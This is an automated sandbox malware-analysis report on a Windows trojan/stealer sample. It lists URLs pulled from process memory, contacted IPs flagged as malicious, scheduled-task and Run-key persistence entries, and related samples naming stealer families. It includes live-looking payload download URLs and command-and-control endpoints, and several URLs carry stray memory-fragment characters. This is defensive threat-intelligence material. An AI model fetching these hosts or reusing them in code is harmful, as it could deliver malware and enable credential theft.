http://tempuri.org/Entity/Id2Response	RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.x-ways.net/winhex/subscribe-d.htmlU	needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id21Response	RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.117/inc/gold.exeP	axplong.exe, 00000006.00000002.3518419435.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/XN	axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/inc/stealc_default2.exe(P	axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id6ResponseD	VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000032A1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.x-ways.net/order.html-d.htmlS	needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	false		unknown
http://tempuri.org/Entity/Id13ResponseD	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://discord.com/api/v9/users/	penis.exe, 00000019.00000002.2964689421.0000000002FC0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpft	axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id15Response	RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://91.202.233.158/g	svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.17/2fb6c2cc8dce150a.phpTK	stealc_default2.exe, 00000017.00000003.2939108563.000000000110A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9	RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpUsers	axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000006.00000002.3526057863.000000000598A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ip.sb/ip	penis.exe, 00000019.00000002.2964689421.0000000002E91000.00000004.00000800.00020000.00000000.sdmp, crypted.exe, 0000001C.00000002.3027013594.00000000038C5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.x-ways.net/winhex/forum/www.x-ways.net/winhex/templates/www.x-ways.net/dongle_protection	needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	false		unknown
http://tempuri.org/Entity/Id1ResponseD	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	svchost015.exe, 0000001E.00000002.3442582690.000000002709F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000381B000.00000004.00000800.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id24Response	RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3376541999.0000000000C5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdn.ep	stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.17/2fb6c2cc8dce150a.phperbird	stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id21ResponseD	VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.17/2fb6c2cc8dce150a.php6	stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://eijfrhegrtbrfcd.online/	axplong.exe, 00000006.00000002.3518419435.0000000000F15000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3518419435.0000000000E47000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.103/mine/random.exe	axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.17/2fb6c2cc8dce150a.phpB	stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://194.116.215.195/12dsvc.exe	axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id10ResponseD	VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000032A1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.103/mine/random.exe&	axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id5Response	RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://91.202.233.158//	svchost015.exe, 0000001E.00000002.3442582690.0000000027040000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id15ResponseD	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id10Response	RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id8Response	RegAsm.exe, 0000000B.00000002.3526374520.0000000002C24000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002BCB000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000000B.00000002.3526374520.0000000002B20000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.00000000031B1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002C81000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.sectigo.com0	needmoney.exe, 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.17/2fb6c2cc8dce150a.phpN	stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ip.s	penis.exe, 00000019.00000002.2964689421.0000000002E91000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.17/2fb6c2cc8dce150a.phpf	stealc_default2.exe, 00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/ineer	axplong.exe, 00000006.00000002.3518419435.0000000000EBB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.17/2fb6c2cc8dce150a.phpZ	stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.17/f1ddeb6592c03206/nss3.dllrowser	stealc_default2.exe, 00000017.00000002.3070584798.0000000001062000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.202.233.158	unknown	Russian Federation	9009	M247GB	true
142.250.186.46	google.com	United States	15169	GOOGLEUS	false
194.116.215.195	unknown	unknown	44676	VMAGE-ASRU	false
185.215.113.26	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
104.21.64.194	eijfrhegrtbrfcd.online	United States	13335	CLOUDFLARENETUS	false
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.67	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.17	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
95.179.250.45	unknown	Netherlands	20473	AS-CHOOPAUS	false
37.140.192.213	glthub.ru	Russian Federation	197695	AS-REGRU	false
172.67.162.108	drawzhotdog.shop	United States	13335	CLOUDFLARENETUS	true
65.21.18.51	unknown	United States	199592	CP-ASDE	true
89.105.223.196	unknown	Netherlands	21159	NOVOSERVE-GMBH-ASFrankfurtGermanyNL	true
185.215.113.117	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.103	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520590
Start date and time:	2024-09-27 16:16:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@60/100@15/16
EGA Information:	Successful, ratio: 70%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.163, 108.177.15.84, 216.58.206.78, 216.58.206.35, 142.250.186.131, 142.250.185.106, 172.217.18.106, 142.250.184.234, 142.250.184.202, 142.250.185.234, 172.217.16.202, 142.250.186.74, 142.250.186.138, 142.250.181.234, 142.250.185.202, 142.250.186.170, 216.58.212.138, 142.250.185.74, 142.250.185.138, 142.250.74.202, 142.250.185.170, 142.250.186.42, 172.217.18.10, 172.217.23.106, 216.58.206.74, 142.250.186.106
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, login.live.com, umwatson.events.data.microsoft.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target axplong.exe, PID 2676 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 3984 because there are no executed function
Execution Graph export aborted for target file.exe, PID 3320 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
10:18:03	API Interceptor	99113x Sleep call for process: axplong.exe modified
10:18:28	API Interceptor	10x Sleep call for process: VCIo8iTrPf.exe modified
10:18:29	API Interceptor	52x Sleep call for process: svchost015.exe modified
10:18:39	API Interceptor	57x Sleep call for process: RegAsm.exe modified
10:18:47	API Interceptor	87x Sleep call for process: c6f71c9f40.exe modified
10:18:52	API Interceptor	41x Sleep call for process: newbundle2.exe modified
16:17:11	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
16:18:13	Task Scheduler	Run new task: Hkbsse path: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
16:18:41	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run Ylrdnrwcx C:\Users\user\AppData\Roaming\Ylrdnrwcx.exe
16:18:50	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c6f71c9f40.exe C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe
16:18:51	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
16:18:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 3ab68b6f1f.exe C:\Users\user\AppData\Local\Temp\1000355001\3ab68b6f1f.exe
16:19:13	Task Scheduler	Run new task: Microsoft Edge path: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe
16:19:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bfa32da1b7.exe C:\Users\user\AppData\Local\Temp\1000023001\bfa32da1b7.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.202.233.158	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	91.202.233.158/e96ea2db21fa9a1b.php
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	91.202.233.158/e96ea2db21fa9a1b.php
	jD6b7MZOhT.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine	Browse	91.202.233.158/e96ea2db21fa9a1b.php
	file.exe	Get hash	malicious	CryptOne, Stealc, Vidar	Browse	91.202.233.158/e96ea2db21fa9a1b.php
	SecuriteInfo.com.Win32.MalwareX-gen.167.30598.exe	Get hash	malicious	CryptOne, Stealc	Browse	91.202.233.158/e96ea2db21fa9a1b.php
	XpCyBwDzEt.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, DanaBot, PureLog Stealer, RedLine	Browse	91.202.233.158/e96ea2db21fa9a1b.php
	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine	Browse	91.202.233.158/e96ea2db21fa9a1b.php
	e0OOofAl0S.exe	Get hash	malicious	CryptOne, SmokeLoader, Stealc	Browse	91.202.233.158/e96ea2db21fa9a1b.php
	oZB7n3wuNk.exe	Get hash	malicious	CryptOne, SmokeLoader, Stealc	Browse	91.202.233.158/e96ea2db21fa9a1b.php
	mLn7GEEpuS.exe	Get hash	malicious	CryptOne, SmokeLoader, Stealc	Browse	91.202.233.158/e96ea2db21fa9a1b.php
194.116.215.195	file.exe	Get hash	malicious	LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Socks5Systemz	Browse	194.116.215.195/12dsvc.exe
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	194.116.215.195/12dsvc.exe
	file.exe	Get hash	malicious	Amadey, PureLog Stealer, RedLine, Stealc, zgRAT	Browse	194.116.215.195/12dsvc.exe
	jD6b7MZOhT.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine	Browse	194.116.215.195/12dsvc.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
play.google.com	file.exe	Get hash	malicious	Unknown	Browse	142.250.185.142
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.78
	file.exe	Get hash	malicious	Unknown	Browse	172.217.18.14
	file.exe	Get hash	malicious	Unknown	Browse	142.250.181.238
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.78
